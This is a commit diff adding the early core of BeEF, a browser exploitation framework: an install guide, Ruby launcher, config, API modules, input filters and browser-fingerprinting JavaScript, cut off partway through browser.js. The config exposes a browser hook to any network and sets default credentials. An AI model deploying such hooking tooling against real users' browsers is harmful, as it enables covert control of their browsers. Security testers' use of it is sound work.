Moving nextgen from a branch to the trunk!!!
git-svn-id: https://beef.googlecode.com/svn/trunk@908 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
54
INSTALL
Normal file
54
INSTALL
Normal file
@@ -0,0 +1,54 @@
|
||||
Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing beef should be kept here.
|
||||
|
||||
=============================================
|
||||
|
||||
1. Prerequisites (platform independent)
|
||||
2. Prerequisites (Windows)
|
||||
3. Prerequisites (Linux)
|
||||
4. Prerequisites (Mac OSX)
|
||||
5. Install instructions
|
||||
|
||||
|
||||
|
||||
1. Prerequisites (platform independent)
|
||||
|
||||
Beef requires ruby 1.8
|
||||
|
||||
|
||||
2. Prerequisites (Windows)
|
||||
|
||||
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
|
||||
|
||||
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
|
||||
|
||||
|
||||
3. Prerequisites (Linux)
|
||||
|
||||
!!! This must be done PRIOR to running the Beef installer !!!
|
||||
|
||||
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
|
||||
|
||||
sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
|
||||
|
||||
|
||||
You also need to install the ruby-dev package (required for mkmf)
|
||||
|
||||
sudo apt-get install ruby-dev
|
||||
|
||||
|
||||
4. Prerequisites (Mac OSX)
|
||||
|
||||
Make sure you have XCode installed - which provided the sqlite support Beef needs
|
||||
|
||||
|
||||
5. Install instructions
|
||||
|
||||
Obtain application code either by downloading an archive from http://code.google.com/p/beef/downloads/list or checking out the source from http://code.google.com/p/beef/source/checkout
|
||||
|
||||
Navigate to the ruby source directory and run:
|
||||
|
||||
ruby install
|
||||
|
||||
The installer verifies required gems, including any specific version dependencies
|
||||
|
||||
The installer offers a choice of auto-installing missing gems or provides the command so you can install gems manually
|
||||
58
beef
Executable file
58
beef
Executable file
@@ -0,0 +1,58 @@
|
||||
#!/usr/bin/env ruby
|
||||
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
|
||||
|
||||
$root_dir = File.expand_path('..', __FILE__)
|
||||
|
||||
require 'core/loader'
|
||||
|
||||
#prints welcome message
|
||||
BeEF::Extension::Console::Banners.print_welcome_msg
|
||||
|
||||
# load config
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
# disable reverse dns
|
||||
Socket.do_not_reverse_lookup = true
|
||||
|
||||
# setup database
|
||||
case config.get("beef.default_db")
|
||||
when "sqlite"
|
||||
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.sqlite.db_name")}")
|
||||
when "mysql"
|
||||
DataMapper.setup(:default, "mysql://#{config.get("beef.database.mysql.db_user")}:#{config.get("beef.database.mysql.db_passwd")}@#{config.get("beef.database.mysql.db_host")}/#{config.get("beef.database.mysql.db_name")}")
|
||||
else
|
||||
print_error 'No default database selected. Please add one in config.yaml'
|
||||
end
|
||||
|
||||
|
||||
BeEF::Extension::Console::Banners.print_network_interfaces_count
|
||||
|
||||
if BeEF::Extension::Console.resetdb?
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
DataMapper.auto_migrate!
|
||||
else
|
||||
DataMapper.auto_upgrade!
|
||||
end
|
||||
|
||||
# if metasploit is unreachable it can take 10/15 seconds to load
|
||||
print_info 'BeEF is loading. Wait a few seconds...'
|
||||
|
||||
# check for new command modules
|
||||
BeEF::Core::Migration.instance.update_db!
|
||||
|
||||
# prepare the web server to run
|
||||
http_hook_server = BeEF::Core::Server.instance
|
||||
http_hook_server.prepare
|
||||
|
||||
|
||||
|
||||
# prints information back to the user before running the server
|
||||
BeEF::Extension::Console::Banners.print_loaded_extensions
|
||||
BeEF::Extension::Console::Banners.print_loaded_modules
|
||||
BeEF::Extension::Console::Banners.print_network_interfaces_routes
|
||||
|
||||
# We dynamically get the list of all browser hook handler using the API and register them
|
||||
BeEF::API.fire(BeEF::API::Server::Handler, :pre_http_start, http_hook_server)
|
||||
|
||||
# starts the web server
|
||||
http_hook_server.start
|
||||
57
config.yaml
Normal file
57
config.yaml
Normal file
@@ -0,0 +1,57 @@
|
||||
# BeEF Configuration file
|
||||
beef:
|
||||
version: '0.4.2.5-alpha'
|
||||
debug: false
|
||||
|
||||
#supported DBs: sqlite, MySQL
|
||||
default_db: "sqlite"
|
||||
|
||||
restrictions:
|
||||
# subnet of browser ip addresses that can hook to the framework
|
||||
permitted_hooking_subnet: "0.0.0.0/0"
|
||||
# subnet of browser ip addresses that can connect to the UI
|
||||
# permitted_ui_subnet = "127.0.0.1/32"
|
||||
permitted_ui_subnet: "0.0.0.0/0"
|
||||
|
||||
http:
|
||||
host: "0.0.0.0"
|
||||
port: "3000"
|
||||
# if running behind a nat set the public ip address here
|
||||
#public: ""
|
||||
dns: "localhost"
|
||||
demo_path: "/demos/basic.html"
|
||||
panel_path: "/ui/panel"
|
||||
hook_file: "/hook.js"
|
||||
hook_session_name: "BEEFHOOK"
|
||||
session_cookie_name: "BEEFSESSION"
|
||||
|
||||
ui:
|
||||
username: "beef"
|
||||
password: "beef"
|
||||
favicon_file_name: "favicon.ico"
|
||||
favicon_dir: "/images"
|
||||
login_fail_delay: 1
|
||||
|
||||
database:
|
||||
# please note that the db should exists. Schema will be created automatically.
|
||||
# mysql> create database beef;
|
||||
# mysql> grant all privileges on beef.* to 'beef'@'localhost' identified by 'beef123';
|
||||
mysql:
|
||||
db_host: "localhost"
|
||||
db_name: "beef"
|
||||
db_user: "beef"
|
||||
db_passwd: "beef123"
|
||||
|
||||
sqlite:
|
||||
db_name: "beef.db"
|
||||
|
||||
crypto_default_value_length: 80
|
||||
|
||||
# You may override default extension configuration parameters here
|
||||
extension:
|
||||
requester:
|
||||
enable: true
|
||||
proxy:
|
||||
enable: true
|
||||
msf:
|
||||
enable: false
|
||||
30
core/api.rb
Normal file
30
core/api.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
=begin
|
||||
|
||||
|
||||
|
||||
=end
|
||||
module BeEF
|
||||
module API
|
||||
|
||||
#
|
||||
# Calls a API fire against a certain class / module (c) method (m) with n parameters (*args)
|
||||
#
|
||||
def self.fire(c, m, *args)
|
||||
c.extended_in_modules.each do |mod|
|
||||
begin
|
||||
mod.send m.to_sym, *args
|
||||
rescue Exception => e
|
||||
puts e.message
|
||||
puts e.backtrace
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
require 'core/api/command'
|
||||
require 'core/api/extension'
|
||||
require 'core/api/migration'
|
||||
require 'core/api/server/handler'
|
||||
require 'core/api/server/hook'
|
||||
30
core/api/command.rb
Normal file
30
core/api/command.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
module BeEF
|
||||
module API
|
||||
#
|
||||
# Use this API call if you want to add new methods and variables to the default
|
||||
# BeEF::Core::Command module.
|
||||
#
|
||||
# Here's an example:
|
||||
#
|
||||
# module A
|
||||
# extend BeEF::API::Command
|
||||
#
|
||||
# def hello
|
||||
# p 'hi there'
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# b = BeEF::Core::Command.new
|
||||
# b.hello # => 'hi there'
|
||||
#
|
||||
# c = BeEF::Core::Command::Detect_details.new
|
||||
# c.hello # => 'hi there'
|
||||
#
|
||||
#
|
||||
# For a real life example, have a look at BeEF::Extension::AdminUI::API::Command
|
||||
#
|
||||
module Command
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
24
core/api/extension.rb
Normal file
24
core/api/extension.rb
Normal file
@@ -0,0 +1,24 @@
|
||||
module BeEF
|
||||
module API
|
||||
#
|
||||
# All modules that extend this API module will be considered as extensions to the
|
||||
# core of BeEF.
|
||||
#
|
||||
# Examples:
|
||||
#
|
||||
# module A
|
||||
# extend BeEF::API::Extension
|
||||
# end
|
||||
#
|
||||
module Extension
|
||||
|
||||
attr_reader :full_name, :short_name, :description
|
||||
|
||||
@full_name = ''
|
||||
@short_name = ''
|
||||
@description = ''
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
37
core/api/migration.rb
Normal file
37
core/api/migration.rb
Normal file
@@ -0,0 +1,37 @@
|
||||
module BeEF
|
||||
module API
|
||||
#
|
||||
# All modules that extend the Migration module will be called during the database
|
||||
# migration phase of BeEF.
|
||||
#
|
||||
# So if you are developing an extension that requires injecting new commands into
|
||||
# the database. You will want to use that.
|
||||
#
|
||||
# See the Metasploit extension for example.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# module A
|
||||
# extend BeEF::API::Migration
|
||||
# end
|
||||
#
|
||||
#
|
||||
# BeEF Core then calls all the migration modules like this:
|
||||
#
|
||||
# BeEF::API::Migration.extended_in_modules.each do |mod|
|
||||
# ...
|
||||
# end
|
||||
#
|
||||
module Migration
|
||||
|
||||
#
|
||||
# This function gets called by the core when migrating new commands into the framework.
|
||||
# For example, the metasploit examples needs to store the list of exploits into BeEF's
|
||||
# database.
|
||||
#
|
||||
def migrate_commands!; end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
57
core/api/server/handler.rb
Normal file
57
core/api/server/handler.rb
Normal file
@@ -0,0 +1,57 @@
|
||||
module BeEF
|
||||
module API
|
||||
module Server
|
||||
#
|
||||
# All modules that extend the Handler API will be called during handler mounting,
|
||||
# dismounting, managing operations.
|
||||
#
|
||||
# You want to use that API if you are developing an extension that requires to create
|
||||
# a new http handler to receive responses.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# module A
|
||||
# extend BeEF::API::Server::Handler
|
||||
# end
|
||||
#
|
||||
#
|
||||
# BeEF Core then calls all the Handler extension modules like this:
|
||||
#
|
||||
# BeEF::API::Server::Handler.extended_in_modules.each do |mod|
|
||||
# ...
|
||||
# end
|
||||
#
|
||||
module Handler
|
||||
|
||||
#
|
||||
# This method is being called when the BeEF server mounts handlers
|
||||
#
|
||||
# See BeEF::Extension::AdminUI::API::Handler as an example.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# module A
|
||||
# extend BeEF::API::Server::Handler
|
||||
#
|
||||
# def mount_handlers(beef_server)
|
||||
# ...
|
||||
# end
|
||||
# end
|
||||
#
|
||||
def mount_handlers(beef_server)
|
||||
#
|
||||
# Here's an example of how you could use it:
|
||||
#
|
||||
# beef_server.mount('/demos/', true, WEBrick::HTTPServlet::FileHandler, "#{$root_dir}/demos/")
|
||||
#
|
||||
end
|
||||
|
||||
def pre_http_start(http_hook_server)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
47
core/api/server/hook.rb
Normal file
47
core/api/server/hook.rb
Normal file
@@ -0,0 +1,47 @@
|
||||
module BeEF
|
||||
module API
|
||||
module Server
|
||||
#
|
||||
# All modules that extend the Handler API will be called during handler mounting,
|
||||
# dismounting, managing operations.
|
||||
#
|
||||
# You want to use that API if you are developing an extension that requires to create
|
||||
# a new http handler to receive responses.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# module A
|
||||
# extend BeEF::API::Server::Handler
|
||||
# end
|
||||
#
|
||||
#
|
||||
# BeEF Core then calls all the Handler extension modules like this:
|
||||
#
|
||||
# BeEF::API::Server::Handler.extended_in_modules.each do |mod|
|
||||
# ...
|
||||
# end
|
||||
#
|
||||
module Hook
|
||||
|
||||
#
|
||||
# This method is being called as the hooked response is being built
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# module A
|
||||
# extend BeEF::API::Server::Hook
|
||||
#
|
||||
# def pre_hook_send()
|
||||
# ...
|
||||
# end
|
||||
# end
|
||||
#
|
||||
def pre_hook_send(handler)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
55
core/core.rb
Normal file
55
core/core.rb
Normal file
@@ -0,0 +1,55 @@
|
||||
=begin
|
||||
|
||||
This is the core of the framework. Be very careful when touching anything in there.
|
||||
|
||||
The standard approach is to code extensions as oppose to edit the core.
|
||||
|
||||
=end
|
||||
module BeEF
|
||||
module Core
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
# Include the database models
|
||||
# MAKE SURE TO KEEP THOSE IN THE FOLLOWING ORDER OTHERWISE DATAMAPPER GOES CRAZY
|
||||
require 'core/main/models/user'
|
||||
require 'core/main/models/commandmodule'
|
||||
require 'core/main/models/hookedbrowser'
|
||||
require 'core/main/models/log'
|
||||
require 'core/main/models/command'
|
||||
require 'core/main/models/result'
|
||||
require 'core/main/models/dynamiccommandinfo'
|
||||
require 'core/main/models/dynamicpayloadinfo'
|
||||
require 'core/main/models/dynamicpayloads'
|
||||
require 'core/main/models/optioncache'
|
||||
|
||||
# Include the constants
|
||||
require 'core/main/constants/browsers'
|
||||
require 'core/main/constants/commandmodule'
|
||||
require 'core/main/constants/distributedengine'
|
||||
require 'core/main/constants/os'
|
||||
|
||||
# Include core modules for beef
|
||||
require 'core/main/configuration'
|
||||
require 'core/main/command'
|
||||
require 'core/main/crypto'
|
||||
require 'core/main/logger'
|
||||
require 'core/main/migration'
|
||||
|
||||
# Include http server functions for beef
|
||||
require 'core/main/server'
|
||||
|
||||
require 'core/main/handlers/modules/beefjs'
|
||||
require 'core/main/handlers/modules/command'
|
||||
|
||||
require 'core/main/handlers/commands'
|
||||
require 'core/main/handlers/hookedbrowsers'
|
||||
|
||||
# Include the network stack
|
||||
require 'core/main/network_stack/handlers/dynamicreconstruction'
|
||||
require 'core/main/network_stack/assethandler'
|
||||
require 'core/main/network_stack/api'
|
||||
|
||||
# Include the distributed engine
|
||||
require 'core/main/distributed_engine/models/rules'
|
||||
17
core/extensions.rb
Normal file
17
core/extensions.rb
Normal file
@@ -0,0 +1,17 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
# Include only enabled extensions
|
||||
config = BeEF::Core::Configuration.instance
|
||||
extensions = config.get('beef.extension').select{|key, ext|
|
||||
ext['enable'] == true
|
||||
}
|
||||
|
||||
extensions.each{ |k,v|
|
||||
if File.exists?('extensions/'+k+'/extension.rb')
|
||||
require 'extensions/'+k+'/extension.rb'
|
||||
end
|
||||
}
|
||||
12
core/filters.rb
Normal file
12
core/filters.rb
Normal file
@@ -0,0 +1,12 @@
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
# Include the filters
|
||||
require 'core/filters/base'
|
||||
require 'core/filters/browser'
|
||||
require 'core/filters/command'
|
||||
require 'core/filters/page'
|
||||
require 'core/filters/http'
|
||||
93
core/filters/base.rb
Normal file
93
core/filters/base.rb
Normal file
@@ -0,0 +1,93 @@
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
# check if the string is not empty and not nil
|
||||
def self.is_non_empty_string?(str)
|
||||
return false if str.nil?
|
||||
return false if not str.is_a? String
|
||||
return false if str.empty?
|
||||
true
|
||||
end
|
||||
|
||||
# check if only the characters in 'chars' are in 'str'
|
||||
def self.only?(chars, str)
|
||||
regex = Regexp.new('[^' + chars + ']')
|
||||
regex.match(str).nil?
|
||||
end
|
||||
|
||||
# check if one or more characters in 'chars' are in 'str'
|
||||
def self.exists?(chars, str)
|
||||
regex = Regexp.new(chars)
|
||||
not regex.match(str).nil?
|
||||
end
|
||||
|
||||
# check for null char
|
||||
def self.has_null? (str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
exists?('\x00', str)
|
||||
end
|
||||
|
||||
# check for non-printalbe char
|
||||
def self.has_non_printable_char?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
not only?('[:print:]', str)
|
||||
end
|
||||
|
||||
# check if num chars only
|
||||
def self.nums_only?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
only?('0-9', str)
|
||||
end
|
||||
|
||||
# check if valid float
|
||||
def self.is_valid_float?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if not only?('0-9\.', str)
|
||||
not (str =~ /^[\d]+\.[\d]+$/).nil?
|
||||
end
|
||||
|
||||
# check if hex chars only
|
||||
def self.hexs_only?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
only?('0123456789ABCDEFabcdef', str)
|
||||
end
|
||||
|
||||
# check if first char is a num
|
||||
def self.first_char_is_num?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
not (str =~ /^\d.*/).nil?
|
||||
end
|
||||
|
||||
# check for space chars: \t\n\r\f
|
||||
def self.has_whitespace_char?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
exists?('\s', str)
|
||||
end
|
||||
|
||||
# check for non word chars: a-zA-Z0-9
|
||||
def self.alphanums_only?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
only?("a-zA-Z0-9", str)
|
||||
end
|
||||
|
||||
# check if valid ip address string
|
||||
def self.is_valid_ip?(ip)
|
||||
return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
|
||||
false
|
||||
end
|
||||
|
||||
# check for valid browser details chars
|
||||
def self.has_valid_browser_details_chars?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil? # \302\256 is the (r) character
|
||||
end
|
||||
|
||||
# check for valid base details chars
|
||||
# this is for basic flitering where possible all specific filters must be implemented
|
||||
def self.has_valid_base_chars?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
(str =~ /[^\302\256[:print:]]/).nil? # \302\256 is the (r) character
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
46
core/filters/browser.rb
Normal file
46
core/filters/browser.rb
Normal file
@@ -0,0 +1,46 @@
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
# check the browser type value - for example, 'FF'
|
||||
def self.is_valid_browsername?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if str.length > 2
|
||||
return false if has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check the os name value - for example, 'Windows XP'
|
||||
def self.is_valid_osname?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length < 2
|
||||
true
|
||||
end
|
||||
|
||||
# verify the browser version string is valid
|
||||
def self.is_valid_browserversion?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return true if str.eql? "UNKNOWN"
|
||||
return false if not nums_only?(str) and not is_valid_float?(str)
|
||||
return false if str.length > 10
|
||||
true
|
||||
end
|
||||
|
||||
# verify the browser/UA string is valid
|
||||
def self.is_valid_browserstring?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
# verify the browser_plugins string is valid
|
||||
def self.is_valid_browser_plugins?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if str.length > 400
|
||||
return (str =~ /[^\w\d\s()-.,;_!\302\256]/).nil? # \302\256 is the (r) character
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
57
core/filters/command.rb
Normal file
57
core/filters/command.rb
Normal file
@@ -0,0 +1,57 @@
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
# check if the string is a valid path from a HTTP request
|
||||
def self.is_valid_path_info?(str)
|
||||
return false if str.nil?
|
||||
return false if not str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check if the command id valid
|
||||
def self.is_valid_command_id?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if not nums_only?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check if the session id valid
|
||||
def self.is_valid_hook_session_id?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if not has_valid_key_chars?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check if valid command module datastore key
|
||||
def self.is_valid_command_module_datastore_key?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if not has_valid_key_chars?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check if valid command module datastore value
|
||||
def self.is_valid_command_module_datastore_param?(str)
|
||||
return false if has_null?(str)
|
||||
return false if not has_valid_base_chars?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check for word and some punc chars
|
||||
def self.has_valid_key_chars?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if not has_valid_base_chars?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check for word and underscore chars
|
||||
def self.has_valid_param_chars?(str)
|
||||
return false if str.nil?
|
||||
return false if not str.is_a? String
|
||||
return false if str.empty?
|
||||
return false if not (str =~ /[^\w_]/).nil?
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
16
core/filters/http.rb
Normal file
16
core/filters/http.rb
Normal file
@@ -0,0 +1,16 @@
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
# verify the hostname string is valid
|
||||
def self.is_valid_hostname?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 255
|
||||
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
|
||||
return false if not (str =~ /\.\./).nil?
|
||||
return false if not (str =~ /\-\-/).nil?
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
13
core/filters/page.rb
Normal file
13
core/filters/page.rb
Normal file
@@ -0,0 +1,13 @@
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
# verify the page title string is valid
|
||||
def self.is_valid_pagetitle?(str)
|
||||
return false if not str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 50
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
41
core/loader.rb
Normal file
41
core/loader.rb
Normal file
@@ -0,0 +1,41 @@
|
||||
#
|
||||
# Include here all the gems we are using
|
||||
#
|
||||
require 'rubygems'
|
||||
require 'webrick'
|
||||
require 'webrick/httpproxy'
|
||||
require 'dm-core'
|
||||
require 'dm-migrations'
|
||||
require 'json'
|
||||
require 'ansi'
|
||||
require 'optparse'
|
||||
require 'cgi'
|
||||
require 'yaml'
|
||||
require 'singleton'
|
||||
require 'ipaddr'
|
||||
require 'base64'
|
||||
require 'xmlrpc/client'
|
||||
require 'erubis'
|
||||
require 'openssl'
|
||||
require 'term/ansicolor'
|
||||
|
||||
# Include the filters
|
||||
require 'core/filters'
|
||||
|
||||
# Include our patches for ruby and gems
|
||||
require 'core/ruby'
|
||||
|
||||
# Include the API
|
||||
require 'core/api'
|
||||
|
||||
# Include the settings
|
||||
require 'core/settings'
|
||||
|
||||
# Include the core of BeEF
|
||||
require 'core/core'
|
||||
|
||||
# Include the extensions
|
||||
require 'core/extensions'
|
||||
|
||||
# Include the modules
|
||||
require 'core/modules'
|
||||
47
core/main/client/beef.js
Normal file
47
core/main/client/beef.js
Normal file
@@ -0,0 +1,47 @@
|
||||
/*!
|
||||
* BeEF JS Library <%= @beef_version %>
|
||||
* http://beef.googlecode.com/
|
||||
*/
|
||||
|
||||
$j = jQuery.noConflict();
|
||||
|
||||
//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>';
|
||||
|
||||
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
|
||||
var BeefJS = {
|
||||
|
||||
version: '<%= @beef_version %>',
|
||||
|
||||
// This get set to true during window.onload(). It's a useful hack when messing with document.write().
|
||||
pageIsLoaded: false,
|
||||
|
||||
// An array containing functions to be executed by Beef.
|
||||
commands: new Array(),
|
||||
|
||||
// An array containing all the BeEF JS components.
|
||||
components: new Array(),
|
||||
|
||||
/**
|
||||
* Adds a function to execute.
|
||||
* @param: {Function} the function to execute.
|
||||
*/
|
||||
execute: function(fn) {
|
||||
this.commands.push(fn);
|
||||
},
|
||||
|
||||
/**
|
||||
* Registers a component in BeEF JS.
|
||||
* @params: {String} the component.
|
||||
*
|
||||
* Components are very important to register so the framework does not
|
||||
* send them back over and over again.
|
||||
*/
|
||||
regCmp: function(component) {
|
||||
this.components.push(component);
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
window.beef = BeefJS;
|
||||
}
|
||||
688
core/main/client/browser.js
Normal file
688
core/main/client/browser.js
Normal file
@@ -0,0 +1,688 @@
|
||||
/**
|
||||
* @literal object: beef.browser
|
||||
*
|
||||
* Basic browser functions.
|
||||
*/
|
||||
beef.browser = {
|
||||
|
||||
/**
|
||||
* Returns the user agent that the browser is claiming to be.
|
||||
* @example: beef.browser.getBrowserReportedName()
|
||||
*/
|
||||
getBrowserReportedName: function() {
|
||||
return navigator.userAgent;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE6.
|
||||
* @example: beef.browser.isIE6()
|
||||
*/
|
||||
isIE6: function() {
|
||||
return !window.XMLHttpRequest && !window.globalStorage;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE7.
|
||||
* @example: beef.browser.isIE7()
|
||||
*/
|
||||
isIE7: function() {
|
||||
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE8.
|
||||
* @example: beef.browser.isIE8()
|
||||
*/
|
||||
isIE8: function() {
|
||||
$j("body").append('<!--[if IE 8]> <div id="beefiecheck" class="ie ie8"></div> <![endif]-->');
|
||||
return ($j('#beefiecheck').hasClass('ie8'))?true:false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE9.
|
||||
* @example: beef.browser.isIE9()
|
||||
*/
|
||||
isIE9: function() {
|
||||
$j("body").append('<!--[if IE 9]> <div id="beefiecheck" class="ie ie9"></div> <![endif]-->');
|
||||
return ($j('#beefiecheck').hasClass('ie9'))?true:false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE.
|
||||
* @example: beef.browser.isIE()
|
||||
*/
|
||||
isIE: function() {
|
||||
return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF2.
|
||||
* @example: beef.browser.isFF2()
|
||||
*/
|
||||
isFF2: function() {
|
||||
return !!window.globalStorage && !window.postMessage;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF3.
|
||||
* @example: beef.browser.isFF3()
|
||||
*/
|
||||
isFF3: function() {
|
||||
return !!window.globalStorage && !!window.postMessage && !JSON.parse;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF35.
|
||||
* @example: beef.browser.isFF35()
|
||||
*/
|
||||
isFF35: function() {
|
||||
return !!window.globalStorage && !!JSON.parse && !window.FileReader;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF36.
|
||||
* @example: beef.browser.isFF36()
|
||||
*/
|
||||
isFF36: function() {
|
||||
return !!window.globalStorage && !!window.FileReader && !window.multitouchData;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF4.
|
||||
* @example: beef.browser.isFF4()
|
||||
*/
|
||||
isFF4: function() {
|
||||
return !!window.globalStorage && !!window.history.replaceState;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF.
|
||||
* @example: beef.browser.isFF()
|
||||
*/
|
||||
isFF: function() {
|
||||
return this.isFF2() || this.isFF3() || this.isFF35() || this.isFF36() || this.isFF4();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Safari.
|
||||
* @example: beef.browser.isS()
|
||||
*/
|
||||
isS: function() {
|
||||
return !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 5.
|
||||
* @example: beef.browser.isC5()
|
||||
*/
|
||||
isC5: function() {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==5)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 6.
|
||||
* @example: beef.browser.isC6()
|
||||
*/
|
||||
isC6: function() {
|
||||
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==6)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 7.
|
||||
* @example: beef.browser.isC7()
|
||||
*/
|
||||
isC7: function() {
|
||||
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==7)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 8.
|
||||
* @example: beef.browser.isC8()
|
||||
*/
|
||||
isC8: function() {
|
||||
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==8)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 9.
|
||||
* @example: beef.browser.isC9()
|
||||
*/
|
||||
isC9: function() {
|
||||
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==9)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 10.
|
||||
* @example: beef.browser.isC10()
|
||||
*/
|
||||
isC10: function() {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==10)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome.
|
||||
* @example: beef.browser.isC()
|
||||
*/
|
||||
isC: function() {
|
||||
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10();
|
||||
},
|
||||
|
||||
/**
|
||||
